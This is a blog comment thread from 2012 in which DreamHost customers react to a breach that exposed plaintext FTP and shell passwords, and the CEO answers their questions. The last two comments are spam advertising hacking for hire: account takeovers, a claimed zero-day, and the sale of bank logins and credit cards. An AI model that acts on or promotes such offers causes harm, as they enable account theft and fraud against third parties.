Consider that DH probably has dozens, if not hundreds of databases, many of which are copies of each other, in order to do backups, resume service in the event of a hardware failure, etc. The result is a very complex system that was probably not designed as much as it evolved. Thus, there are likely lots of areas that need cleanup, maintenance, etc.
Here’s a hypothetical of how one of those old plain-text password DBs somehow escapes being deleted.
1. DB Admin tasked with cleaning up dozens of similar legacy DBs (and their backups, and random copies due to various administrative and recovery tasks) starts deleting said DBs.
2. Some emergency comes up and the DB deals with it.
3. The DB gets back to his cleanup and forgets that he was just about to delete some obscure backup of a backup of a backup database in some completely non-standard location.
4. Years pass…
5. Hackers find said database.
6. DH realizes their error and takes evasive action.
Anyone who has worked in a production server environment knows that the more complex the system is, the harder it is to manage. Is it a big mistake to store passwords in plain-text? Yes. Did it used to happen all the time? Yes. Should DH apologize to anyone who was exposed? Yes. But let’s not start pretending that it’s a case of gross negligence.
Gross negligence would be not reporting the hack, not forcing a reset of passwords and hoping that none of their customers were exposed. Kudos for DH for having the integrity to admit their error and letting their customers decide whether or not to continue with them.
January 22nd, 2012 at 8:55 pm
@panah, et al discussing SQL passwords. My guess is that Simon is saying that DH’s own database(s) of SQL passwords was not compromised.
Our own files may have been compromised, so if you think there’s a risk, I’d take precautions and change up your database credentials. It doesn’t take long and it’ll give you peace of mind.
January 22nd, 2012 at 9:02 pm
Thanks for taking steps to protect my sites. I appreciate the layered security and empathize with you. Yeah…it’s a pain. It is what it is. Good job.
January 22nd, 2012 at 9:38 pm
Sweet. I’m glad, I have to go through all of the DH accounts I manage and change all of the passwords, and create a new passwords, then create a updated pasword list for all of my clients on DH, then call all of the folks to update…Maybe I’ll just send out a mass email DH style. Ahhh sorry.
So, yes. This happens doesn’t mean it doesn’t suck. I’ve started with DH early 2004. I know and run to many websites on this system/platform to list. I’ve been having some issues over the last month or so, a few of my websites have gone up and down, also locked files and folders out of my control. Overall DH has been great. Hope this is not growing pains. To many accounts to keep up with, now service goes down.
Please do your best to make your system…updates. My accounts were effected.
January 22nd, 2012 at 10:04 pm
Thank you DH for immediate announcement and reply to tickets / queries during this problem.
We appreciate your efforts and continuous support
January 22nd, 2012 at 10:29 pm
Just a note to Dreamhost with regard to passwords being encrypted:
Subversion passwords are not one-way hashed.
Also, seems our database account passwords are not one-way Hashed:
Would you like to change XXXX’s password?
New Password:
Currently yyyyyy
January 22nd, 2012 at 11:41 pm
checking your authorized_keys using simply the modified date is not enough, check the contents
man touch
http://www.manpagez.com/man/1/touch/
January 23rd, 2012 at 12:17 am
Well,
First: Jonathon, well commented. People who know too much always like to point out their superiority in these cases. I have been with a few hosting comapnies and DH is a new one for me. I have to say that I am very impressed with this response to a clever, but lucky hack.
I am not in any way a tech bod, I don’t understand most of the inner workings of all this stuff, but I know when a company makes an effort and when it doesn’t.
To the whingers: To reiterate comments, if you don’t like it, cancel your account, take your ‘big money’ somewhere else or start your own. You know so much but only complain. That is the mark of a coward. If you think you can do better, by all means do it. The rest of us will happily stay with a company with a track record and a commitment to it’s customers. I will recommend DH to anybody who asks and will burble enthusiastically about this on my blog and company website. In short, get on board and support or get out.
To DH: Thankyou so much for your quick response and, as it took me all of ten minutes to reset my passwords, no problem. A job well done. Hackers and Pokers will always be a thorn in the arse of anything digitally related. Vigilance is not always enough, response however can be vital. Again, thanks a bunch.
January 23rd, 2012 at 5:26 am
I would suggest Dreamhost have a company meeting and discuss security threats and have a contingency plan for redundancy. This was a disaster! Frankly, this does not sit well with me. You folks must remember just because most of us need to have our websites up does not mean we will stay. I think this is similar to being on the brink of incompetent and looks really bad. If my site had 5-10K visits per day to my website, then I would have to consider going a different route.
January 23rd, 2012 at 5:29 am
Dear Simon,
Can you tell me why my site has been down for SIX DAYS???
Nobody else at DreamHost seems to know why, or when it will be back.
Thanks,
Dave
January 23rd, 2012 at 5:34 am
Glad to see that you guys are on top of things!
Changed my ftp password, don’t use the email, so…
Thanks!
January 23rd, 2012 at 6:32 am
What gives?
I’ve changed my passwords for login, mail, and ftp 4 times since getting the e-mail. The new passwords work for a few hours and then revert back to the original pre-hack passwords. Same thing again this morning. Anyone else having this problem?
January 23rd, 2012 at 7:29 am
“[...]DreamHost uses a sophisticated suite of security software[...]”
I can see how sophisticated it is. EVERY PASSWORD stolen, wasn’t a couple or a dozen, ALL THE PASSWORDS WERE STOLEN. How is it possible to happen with such a sophisticated security software? Another question, WHY THE HECK ALL THE PASSWORDS WERE NOT ENCRYPTED?????????????
January 23rd, 2012 at 7:29 am
@Chris Geisel. I disagree. It does take a long time when you run a 100+ blog network. :D Trust me…. I think we will have to do it. But it’s not ideal.
January 23rd, 2012 at 8:39 am
Hackers will always be a step ahead. It happens to everyone on time or another. The best policy is immediate notification of clients. As an IT consultant, I appreciate this.
January 23rd, 2012 at 8:44 am
WHY ARE MY SITES DOWN?????????????
January 23rd, 2012 at 9:06 am
WHERE’S THE MOTHERFUCKING “TRANSPARENCY” THAT COCKSUCKER CEO CLAIMS?????
January 23rd, 2012 at 9:07 am
I have a bunch of sites that are STILL DOWN with a FATAL ERROR 68
When will you be fixing these?!
January 23rd, 2012 at 9:38 am
WHY DID “ROOT” FUCK MY SITE???????????????????
.htaccess
PassengerEnabled off
I didn’t put that file there.
-rw-r–r– 1 root root 60 Jan 18 22:30 .htaccess
January 23rd, 2012 at 10:04 am
I appreciate your swift action and openness about this incident. However, I’m a bit alarmed that I had to find out about the incident through Lifehacker. I checked both my inbox and spam folders and did not find an email from DH.
January 23rd, 2012 at 10:14 am
Simon and company,
I was able to reset my FTP passwords and continue working without any problems.
I appreciate DreamHost’s candor, quick responses, and the consideration and professionalism your staff has shown during this event.
THANK YOU for your transparency and openness. Makes me more loyal then ever.
THANK YOU for having the integrity to admit your error
I’m happy to be a part of the Dreamhost family!
January 23rd, 2012 at 10:40 am
My site was brought down so sites have definitely been affected.
January 23rd, 2012 at 10:50 am
I’ve been with DH for over 10 years. I appreciate the notifications and efforts to contain the problem.
It took less than half an hour for my new ftp password to be reset, no problem there.
I just confirmed that the MySql pwd appears to be stored as clear text, which is disturbing.
Goto MySQL Databases
Click on any “Users with Access” on a database
Scroll down to “Would you like to change ##########’s password
What do you see?
Currently: “##the plain text password##”
I hope you go ahead and close all holes such as this one. Security is a neverending job, thanks for all your efforts.
Mike
January 23rd, 2012 at 10:58 am
All my VPS user folders are empty… I just want to access my files and move them elsewhere (my shared host is 100% ok for now). Where can we get information? $”#$”# individual emails, but please POST something useful to your clients.
January 23rd, 2012 at 11:51 am
My panel password was changed or at least it does not work now. Perhaps the hackers changed it. The email address on my account was also changed or at least it does not work for “forgot password” reset etc. My ssh password was changed or at least it does not work now. I emailed support@dreamhost.com and that email bounced back to me. I filled out the contact form a couple times and sent mail to every department listed in the dropdown and I have heard nothing from anyone at Dreamhost. I assume the hackers could be just filtering that form post and dreamhost is still totally in the dark since no one can just call them and tell them anything. This sucks.
January 23rd, 2012 at 12:27 pm
Just FYI folks- after I complained Saturday that not all users passwords had been reset DH support confirmed this. And then they overwrote the passwords I had spent Saturday morning setting and recording…
January 23rd, 2012 at 12:33 pm
@Two Cents I’m having the exact same problem. I didn’t see my email from them until this morning. Followed their directions and I can’t even click forgot password. So far, my site is okay but I cannot get into my account here at all. I would love some feedback, since I asked on Twitter this morning and still no answer! I’m getting a bit frustrated. I don’t like not being able to get into my account!
January 23rd, 2012 at 12:38 pm
@Erik
“Also, seems our database account passwords are not one-way Hashed”"
This does not mean they are stored in plain text.
There are other ways of encrypting passwords then one-way hashes….
January 23rd, 2012 at 12:46 pm
The DB passwords are are shown in clear text when accessed from control panel. Please stop this display. The next time the control panel is hacked, the hacker will get access to all DB users.
January 23rd, 2012 at 12:48 pm
@Dave Richards…well said. here’s a cookie.
@DreamhostSimon…a belated, nice to meet you. Do you know Chip Kelly (Ducks Coach)? Just askn, ’cause you’ve got the same brass ones to make this post, lol. Admirable man. You’ve shown that you are exactly where you should be in your personal career. Inviting, listening to and accepting client complaints is just as important as any other business operation.
Thanks for the quick action; tireless efforts; openess and honesty. A rare trait in business now-a-days. hugs…Bj.
January 23rd, 2012 at 1:11 pm
I just did a DB dump to migrate my sites.
After rebuilding, i discovered the database tables were empty.
So it looks like, the system came up yesterday, worked perfectly. Turned to shit. Then wiped out my database.
MY DATABASES ARE WIPED OUT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
PLEASE STOP POSTING THOSE BULLSHIT TESTIMONIALS !!!!!!!!!!!!!!!
I KNOW FOR A FACT THE BAD TESTIMONIALS ARE BEING DELETED !!!!!!!!!!!!!!
January 23rd, 2012 at 1:14 pm
Dreamhost is so screwed up I cant even add support to my account (for a fee) to find out why my registered domain doesn’t show up in my account!
This company has certianly gone down hill fast in the last year, premium fees and absoutly no service whatsoever. Security breaches, massive ammounts of outages; what a bunch of junk.
You should be fired. Seriously. It’s almost as if you sold short on Dreamhost and are trying your hardest to run it into the ground.
no company in their right mind should ever hire you as CEO.
January 23rd, 2012 at 1:16 pm
@panah, point taken.
After all this settles down, it might be worth talking to DH about ways you could streamline the process, since sooner or later DH will get hacked again. It’s the price of doing business.
January 23rd, 2012 at 1:44 pm
I’M SO ANGRY I CAN’T FUNCTION!!!!!!!!!!!!!!!!!!!!!!!
January 23rd, 2012 at 2:08 pm
UPDATED TO ADD QUESTION 5:
Simon Anderson, I respect you and I respect DreamHost, and would just like some simple questions answered:
1: Why did you have this table of plaintext passwords in the first place? My guess is that it had something to do with the password change feature and its way of warning you “your new password cannot differ from the old one only by case” that some users pointed out?
2: You call this a legacy table. When was it last updated? I had actually changed ALL my user passwords and email passwords on January 5th, 2012. Was my data in that table or am I safe?
3: What columns were in the table? I am guessing machine (like beid.dreamhost.com), username and password, and probably the account ID of the DH account that owns that user. Anything else that was lost?
4: Are you SURE this is all the hacker got access to?
5: You say that we should all change email passwords too. Why? In my case, they were last changed on January 5th, and had nothing to do with ANY other password I own. Why should I change these if the hacker didn’t get access to them? Please clarify what you know about the hack and what got out.
These are VERY important questions. Please do not ignore them.
Looking forward to a response, Simon. F5 F5 F5,
Richie
January 23rd, 2012 at 2:53 pm
Simon,
Thanks for the quick update, and full transparency … I appreciate it.
Cheers,
Steve
January 23rd, 2012 at 3:03 pm
Companies that hide or don’t provide any corporate phone numbers, configure their old “support@dreamhost.com” to bounce all attempts at email contact and don’t respond to contact attempts through the one and only contact form… are really totally very transparent, they have “open and transparent” written all over their faces and this CEO is not making himself look out of touch with reality or like a real big hypocrite or anything like that.
January 23rd, 2012 at 3:43 pm
would like to know if i have to change all sql database passwords as well.
January 23rd, 2012 at 3:57 pm
One of the metrics I use in evaluating an organization is how things get handled when something bad has happened … not merely how good they do in easy times. In my view Dreamhost and its technical support team have been very good in handling all my problems and have handled this hacking event as well as was reasonable to expect. Thank you.
Peter Burgess
January 23rd, 2012 at 4:57 pm
I can’t connect to my ftp server…
January 23rd, 2012 at 5:05 pm
All my domains all the day are down, please give us help.
Nobody help us.
DREAMHOST SUPPORT NEVER WORKS, CHAT WORKS ?
WE NEVER HAVE ANY SUPPORT SINCE 8 HOURS, WHY ??????
January 23rd, 2012 at 5:29 pm
Nooo, al the domains are linked to pornhub :S:S:S help!!!
mehh nevermind, im going to Elitehosting.nl. faster, better, only a sad thing is its dutch.
January 23rd, 2012 at 7:31 pm
LastPass to the rescue. Created new touch passwords in about 2 mins.
January 24th, 2012 at 12:23 am
Hi,
some days I get this written in my dreamhost panel
————
Due to some activity we detected Unauthorized Within one of our databases, we have forced to reset all of the FTP / SFTP and shell passwords as a precaution.
If you’re having trouble logging into your FTP or shell accounts, please visit the “Users> Manage Users” tab and update your passwords there.
You can keep up to date with this issue as it progresses on the DreamHost Status blog at:
http://www.dreamhoststatus.com/2012/01/20/changing-ftpshell-passwords-due-to-security-issue/
Our CEO, Simon Anderson, Also has posted a blog entry on this. You can read it here:
http://blog.dreamhost.com/2012/01/21/security-update/
——————-
I do not work anymore, the panels of my FTP sites and they are many and do not know how to fix them.
If the nchiedo can settle the problem as soon as possible I am having problems with my clients … What should I do??
Thank you.
January 24th, 2012 at 1:19 am
My ftp was not connecting with old password, I just reset it, hopefully it will work… :D, thanks to DH for security.
January 24th, 2012 at 1:25 am
I found a half-dozen foreign PHP files in my directories. I’ve removed them, but kept copies and can send them to you — in a ZIP — if you are interested.
I’ve enjoyed being a customer of yours these past six years, and I’m not ready to switch hosting providers — YET — but this is the third or fourth hack-attack I’ve had to endure, and I am absolutely sick and tired of repeatedly having to manually clean my directories.
I’ve changed my passwords and hope to never encounter this problem again, but I’d like some kind of compensation from you for the grief and lost time spent manually responding to this BS — preferably financial. Maybe a free month or free domain name registration for each attack.
What do you say?
January 24th, 2012 at 6:06 am
I’m posting in here because I’m desperate because none of my support tickets have been answered – ALL OF MY WEBSITES CONTINUE TO BE DOWN from this issue and I am receiving NO UPDATES FROM DREAMHOST ON WHAT’S GOING ON – not even a mass email.
January 24th, 2012 at 6:55 am
@Jose
This is comments for a blog, not a support system. Posting 100 times that your domains are down here is utterly pointless and just spams up the comments for the rest of us.
@oneeyedwonderweezel
I think we get the picture. lol. Do you always scream and shout at 100MPH to effect change?, doesn’t work and just upsets and annoys everyone. If things are that bad and you’re soo angry why haven’t you changed host yet?
@DreamhostSimon
For the sake of full transparency, mentioning older passwords stored on un-encrypted database files should have been in your intial blog, NOT after someone had to ask you in comments and then you comment after it. That left me a bit dissapointed.
…however.. I have to go by my own experiences, been with Dreamhost over 7 years, rarely had any real problems. The worst was a period of downtime for about 2 days and that was it. I recognise that no other hosting site at the same or similar price point offers substantially better uptime or service, its just the nature of these things when attacks happen. So I’m going to stay put.
January 24th, 2012 at 8:42 am
Yes good blog.
January 24th, 2012 at 9:18 am
I HAVE CHANGED MY HOST!!!!!!
AND I’M HAPPY TO SAY I HAVEN’T LOST A BYTE OF DATA.
AS TO THE ” WHY I HAVEN’T CHANGED MY HOST YET?” QUESTION. I CHANGED MY HOST IN SPITE OF THE MALFUNCTIONING SCP.
MY MAJOR COMPLAINT IS THE GOD DAMN MIND RAPE YOU PUT ME THROUGH CHASING GHOSTS. MAJOR MALFUNCTIONS ARE OCCURRING AND I’M GETTING THE MESSAGE, “IT’S JUST YOU!!!”
AS FOR THE “YOU GET WHAT YOU PAY FOR” ARGUMENT, “IS DREAMHOST ONE HALF OF GATORHOST WHICH IS 2 TIME GODADDY BUT STILL COSTS JUST AS MUCH???????????????”
I CAN ACCEPT, “THESE THINGS HAPPEN.” BUT THERE WAS AN INFORMATION BLACKOUT. I WAS GIVEN NOTHING TO ACCEPT OR NOT ACCEPT. FOLLOWED BY A CLAIM OF TRANSPARENCY.
SUBVERSION IS SOLID ENOUGH TO TRANSMIT SOURCE AND MYSQL DUMPS TO OTHER HOSTS, WITH A LITTLE PATIENCE.
January 24th, 2012 at 9:43 am
Yeah, thanks for the “openness” guys. Is this by chance the same openness that inspires the choice to, still, today, store and send out passwords in plain text?
How about another “open” post that explains exactly what the hell you plan to do to remedy that? We trusted you, and this BS response to the clearest issue at hand is further evidence that we shouldn’t have. This was an absolute bonehead move, resulting in an enormous breach that could have been avoided.
January 24th, 2012 at 10:04 am
You probably have at most 70 years before the end of your world comes. None of this will be remembered then, especially your whining about your cheap shared hosting account. God bless DreamHost, but it will probably be gone by then, too.
January 24th, 2012 at 10:23 am
Bunch of whiners. Thanks for resetting passwords quickly.
January 24th, 2012 at 12:24 pm
Thanks for dealing with this issue promptly. And thanks for being open about what happened. On a related note, I’ve expressed my concern about the way you store (in reversible encrypted form) and transmit (in plaintext email!) passwords to your support staff on several occasions. Perhaps now, you will consider changing these policies? Keep in mind that AS LONG AS YOU CONTINUE TO HANDLE PASSWORDS THIS WAY, YOU WILL BE A PRIME TARGET FOR HACKERS. Just sayin’.
January 24th, 2012 at 1:23 pm
No Service in this company. If you are anything but a server language expert, good luck. This is not a good company.
Excuses, excuses, excuses. Patch up the problem, make the user fix their side, stuff wallet, ignore, sleep on satin sheets. In 70 yrs hopefully dreamhost will be dreaming right next to Prodigy, AOL and NetZero.
January 24th, 2012 at 2:09 pm
UPDATED TO ADD QUESTION 5 (I will keep asking until you answer or I get bored):
Simon Anderson, I respect you and I respect DreamHost, and would just like some simple questions answered:
1: Why did you have this table of plaintext passwords in the first place? My guess is that it had something to do with the password change feature and its way of warning you “your new password cannot differ from the old one only by case” that some users pointed out?
2: You call this a legacy table. When was it last updated? I had actually changed ALL my user passwords and email passwords on January 5th, 2012. Was my data in that table or am I safe?
3: What columns were in the table? I am guessing machine (like beid.dreamhost.com), username and password, and probably the account ID of the DH account that owns that user. Anything else that was lost?
4: Are you SURE this is all the hacker got access to?
5: You say that we should all change email passwords too. Why? In my case, they were last changed on January 5th, and had nothing to do with ANY other password I own. Why should I change these if the hacker didn’t get access to them? Please clarify what you know about the hack and what got out.
These are VERY important questions. Please do not ignore them.
Looking forward to a response, Simon. F5 F5 F5,
Richie
January 24th, 2012 at 2:13 pm
No down time here. Not even a modded .htaccess
I’m guessing because my server was painted black.
I kind of feel like a jew during Egyptian slave times.
I feel sorry for all of you who keep “sensitive” data on your websites. It’s a bit of a pickle if you don’t understand what’s really going on. Perhaps take some initiative yourself. Back up your sql dumps, create autonomous scripts that rsync your dirs to another dead serv dir.
Also, do not store credit cards on your site or database. Seriously guys. Dump it all into a local file and delete the entries if you keep them and need them stored. But I really doubt that because in most states this is illegal.
Good luck guys! I know DreamHost is much more secure than what everyone has come to perceive.
You guys have a great hard working team and I’m so lucky to have you guys as my client #1 recommendation.
And if anything, I’d recommend an internal investigation guys. It’s not very easy getting past some of your security features. Don’t ask how I know. ;)
January 25th, 2012 at 10:50 am
I can’t access any of my files and I’ve been getting a real run around from support. I don’t usually complain about these things on DH since I’m just a hobby site and not a business but this is really insane.
January 25th, 2012 at 4:41 pm
So what, I am a volunteer webmaster who cannot login. The management is sans clue on this stuff and God knows where your message has ended up to reset ftp pw.
So. I ask them to call you guys?
Thanks
January 27th, 2012 at 6:19 am
Hi,
I just realized that dreamhost keeps passwords in plain text… if I forgot my password and you email it to me plain text that’s not a good thing. This is upsetting. anyways you can watch the first 5 minutes of this show and they’ll explain.
http://www.jupiterbroadcasting.com/16331/answers-for-everyone-techsnap-42/
January 29th, 2012 at 5:07 pm
In the DreamHost spirit of transparency and openness, how about telling us what’s wrong with the system NOW?
January 30th, 2012 at 7:51 am
Anyone else having problems with virus attack on their hosting? I tried to clean it, but it is still there, and Google started to mark our sites as badware… All the SEO work may be wasted. Thanks
January 30th, 2012 at 1:31 pm
Yes, just discovered it this morning with the DH crash today. We are selling viagra and cialis on Google search profile. The last Cached search was 1/22. Anyone know how to fix this? I changed my password and now neither my old or new passwords work and my developer can’t access the site to clean it up. I also did not receive any notification of either issue and discovered it by visiting DH today.
January 30th, 2012 at 2:54 pm
Sad to see you ignored all my important questions, Simon.
January 30th, 2012 at 10:36 pm
Again. Over the last few months, my sites have continually been flagged for malware by Google. Dreamhost support has consistently pointed the finger at me or my father-in-law (the only other person that accesses anything on the server) as causing it by having weak passwords. For the last few months, just to rule it out, I’ve been using the “select a password for me” feature for our accounts about once a month. We are STILL having .htaccess files added to our sites. They’re not even accessible from the same SSH/SFTP logins… So either our dreamhost-selected passwords are both being compromised at the same time or there’s something else going on. Either way, it’s really starting to feel like Dreamhost is more interested in telling me how it’s my fault than preventing it from happening. It was one thing when I was state-side and I could scan my father-in-law’s site every night, but I’m deployed now and this is just getting out of hand. Trying to do all of this from Kuwait is just about enough to push me past that magical “worth changing providers” point. I’ve been with Dreamhost for almost 10 years. I’d really like to go back to feeling about you the way I felt back then.
February 5th, 2012 at 10:12 pm
+1 @simon Please answer Richie’s questions.
February 7th, 2012 at 3:28 pm
Hi Richie, I haven’t been ignoring your questions – my apologies for not seeing them. Here are my answers (to the best of our ability in this open forum):
Question 1: Why did you have this table of plaintext passwords in the first place? My guess is that it had something to do with the password change feature and its way of warning you “your new password cannot differ from the old one only by case” that some users pointed out?
[Simon] This was not anything to do with the password change feature. Our (very) old architecture used plain text passwords in some instances for internal service authorization purposes. We’d changed over to secure passwords a long time ago for this purpose. However this table was never cleaned up. FYI, we have cleaned all of this up now, and made some additional changes to password management as will be outlined in our newsletter to go out this week.
Question 2: You call this a legacy table. When was it last updated? I had actually changed ALL my user passwords and email passwords on January 5th, 2012. Was my data in that table or am I safe?
[Simon] The table was up-to-date as of the date of the intrusion.
Question 3: What columns were in the table? I am guessing machine (like beid.dreamhost.com), username and password, and probably the account ID of the DH account that owns that user. Anything else that was lost?
[Simon] No personally identifiable information was in the table. The FTP/shell password and host machine was in the table. Note that we have no evidence that the hacker actually got the table from the other internal machine it was dumped to. But in case they did, we took the precaution of resetting the FTP/shell passwords.
4: Are you SURE this is all the hacker got access to?
[Simon] Yes.
5: You say that we should all change email passwords too. Why? In my case, they were last changed on January 5th, and had nothing to do with ANY other password I own. Why should I change these if the hacker didn’t get access to them? Please clarify what you know about the hack and what got out.
[Simon] We suggested this as a precaution, because many users often use the same passwords across different services.
We understand that security is extremely important, and have taken a whole series of steps to protect and mitigate against this kind of intrusion happening again, including hardening our internal systems and firewalls. I trust you understand that we can’t go into too much detail on our current defenses, given this is an open forum. However we will be including more information on password security precautions in an email direct to customers to go out this week.
February 7th, 2012 at 7:05 pm
Greetings, Simon!
I just made a re-visit at this moment on the off-chance that you had responded. I was very grateful to see that you had indeed!
Thank you so much for the very honest reply. It finally explains the details that had been bothering a lot of us more technical users.
Alright, so it *did* have up-to-date data as of the date of the attack (in other words not “legacy” as another DH employee had called it on the status-blog), and it was used for internal service authorization (but you’ve thankfully changed that system now), and you have determined that this is all the attacker had access to, and that there’s no evidence that the attacker even dumped this table (you just changed passwords out of precaution), and even better – the suggestion to change email passwords was based on the off-chance that someone had the same password on the email account as their shell account.
Fantastic answers and I am really glad to hear the reasons for each issue. It lays to rest any worries that I’ll have to change my email passwords once again, since they weren’t in the table, and had nothing to do with the shell passwords.
You know, I fell in love with DreamHost in 2007, when I learned that you had been founded by geeks interested in setting up a proper hosting service – “for geeks by geeks”. I tried your support back then and was amazed at the intelligent, technical replies. Since then, I’ve constantly had the satisfaction of knowing that any issue I had would be understood by support. This recent break-in hasn’t changed that opinion at all; you’ve taken care of the issue, and thoroughly explained what was affected, and as a result I am as happy as ever. A quick shell password change for my sites and we’re back on track.
February 7th, 2012 at 7:31 pm
Sorry about the dual messages but I noticed that the first one had all the example email addresses filtered out, so I made some changes and submitted it again. Delete the first message.
February 8th, 2012 at 11:31 am
Simon,
We are one of DH’s oldest (a decade+) and largest customer, and I’m sad to say that there has been a complete decline in both the support and the quality of the service since this summer. We are a DoD Federal Contractor who relies on DH to run our internal web based app, and when it goes down we lose time and money. While some problems are to be expected, the last 6 months have seen a level that surpassed downtime for us over the last 3 years! To add insult to injury, there is no acknowledgement or even apology, instead we get canned responses to our tickets (and if we ask for a call-back, if the tech can’t reach us they mark it as our call-back – absurd!).
In short, getting a live human to work with us was always tough, but it has reached unbearable levels now. When we go down, we want to know that our problem is being taken seriously by you, not that we now have to sign up another $10/mnth for the courtesy of maybe talking to somebody.
I would have sent this to your personal email, but even as a corporate customer, I don’t have a DH POC (the absurdity of posting this on a blog, shouldn’t escape you – I’d much rather discuss this privately).
That being said, I have been a loyal DH supporter and customer, and I think 10 years counts for something, so I am willing to speak with you – the question is whether you’re willing to reciprocate.
W/R,
Naveed Jamali
President/CEO
Books & Research
February 10th, 2012 at 8:16 pm
In the DreamHost wiki, it is stated that the “Full Name” (GECOS) field is included in the password file on the machine.
Question: For the database server that was breached, did the table that had the legacy “plain text” passwords ALSO contain the Full Name data associated with each password? (Real user name adjacent to plain text password?).
Or was this a breach of an entirely separate server, independent of any specific machine hosting the user accounts? Again, the real question being: was there any Full Name data stored in the table containing the legacy plain text passwords?
February 11th, 2012 at 11:07 pm
security audit of your website(s) HACKING OF WEBSITES & Hacking Accounts which include facebook,twitter this is pretty easy,myspace,skype,and email ids.I require either a Name, Friend ID, or E-mail address of the targets account(s). I have the help of a current 0-Day Exploit that allows me to gain remote access to the website servers and from there I find the password which is usually in an MD5 hash, from that I must decrypt to get the real password. The entire process takes about 30 minutes-1 hour to complete. All passwords are tested out 3 times before they get issued to any clients.I also rip Standards from websites i semd you a screen shot of the email to confirm.I accept payment through LR (Liberty Reserve) Only.I hardly ever USE WESTERN UNION!
YOU CAN REACH ME ON :kross303@yahoo.com (SEND ME AN IM THROUGH Y! MESSENGER OR MAIL)i also sell bank logins and credit cards
February 11th, 2012 at 11:09 pm
contact kross303@yahoo.com for your common hacking problems from facebook accounts to email ids to security audit of websites and a host of other stuff i can help